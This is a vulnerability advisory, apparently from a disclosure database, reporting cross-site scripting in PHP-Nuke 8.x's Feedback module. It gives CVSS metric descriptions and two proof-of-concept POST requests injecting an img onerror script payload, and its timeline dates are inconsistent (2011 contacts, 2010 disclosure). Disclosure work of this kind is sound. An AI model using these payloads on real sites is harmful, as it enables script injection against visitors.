The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
Low
C
There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity
Low
I
Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability
None
A
There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.
PHP-Nuke 8.x <= Cross Site Scripting Vulnerability
1. OVERVIEW
The PHP-Nuke version 8.x and lower are vulnerable to Cross Site Scrtipting.
2. BACKGROUND
PHP-Nuke is a Web Portal System or content management system. The goal
of PHP-Nuke is to have an automated web site to distribute news and
articles with users system. Each user can submit comments to discuss
the articles. Main features include: web based admin, surveys, top
page, access stats page with counter, user customizable box, themes
manager for registered users, friendly administration GUI with graphic
topic manager, option to edit or delete stories, option to delete
comments, moderation system, Referrers page to know who link us,
sections manager, customizable HTML blocks, user and authors edit, an
integrated Banners Ads system, search engine, backend/headlines
generation (RSS/RDF format), and many, many more friendly functions.
3. VULNERABILITY DESCRIPTION
The "sender_name" and the "sender_email" parameter are not properly
sanitized upon submission to the /modules.php?name=Feedback, which
allows attacker to conduct Cross Site Scripting attack. This may allow
an attacker to create a specially crafted URL that would execute
arbitrary script code in a victim's browser.
4. VERSIONS AFFECTED
8.0 and lower
Tested version: 8.0
The paid versions, 8.1 and 9.0, of PHP-Nuke may be vulnerable as well.
5. PROOF-OF-CONCEPT/EXPLOIT
Parameter: sender_name
[REQUEST]
POST /phpnuke/modules.php?name=Feedback HTTP/1.1
Host: attacker.in
Referer: http://attacker.in/phpnuke/modules.php?name=Feedback
sender_name=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28%2FXSS%2F%29%3E&sender_email=&message=&opi=ds&submit=Send
[/REQUEST]
---------------------------------------------------------
Parameter: sender_email
[REQUEST]
POST /phpnuke/modules.php?name=Feedback HTTP/1.1
Host: attacker.in
Referer: http://attacker.in/phpnuke/modules.php?name=Feedback
sender_email=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28%2FXSS%2F%29%3E&sender_name=&message=&opi=ds&submit=Send
[/REQUEST]
6. SOLUTION
Not Available.
Use of this product is NOT recommended because of long lack of update
and vendor negligence about security reports.
7. VENDOR
PHP-Nuke Developers
http://phpnuke.org/
8. CREDIT
Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar.
9. DISCLOSURE TIME-LINE
2011-01-01: contacted author through emails
2011-01-25: contacted author through web site contact form
2010-03-23: no replies from author
2010-03-23: vulnerability disclosed
10. REFERENCES
Original Advisory URL:
http://yehg.net/lab/pr0js/advisories/[phpnuke-8.x]_cross_site_scripting
About PHP-Nuke: http://en.wikipedia.org/wiki/PHP-Nuke
php-Nuke 8.0: http://phpnuke.org/modules.php?name=Downloads&d_op=getit&lid=658
CWE-79: http://cwe.mitre.org/data/definitions/79.html
#yehg [2010-03-23]
keywords: php nuke, php-nuke, phpnuke, 8.0, 8.1, xss
---------------------------------
Best regards,
YGN Ethical Hacker Group
Yangon, Myanmar
http://yehg.net
Our Lab | http://yehg.net/lab
Our Directory | http://yehg.net/hwd
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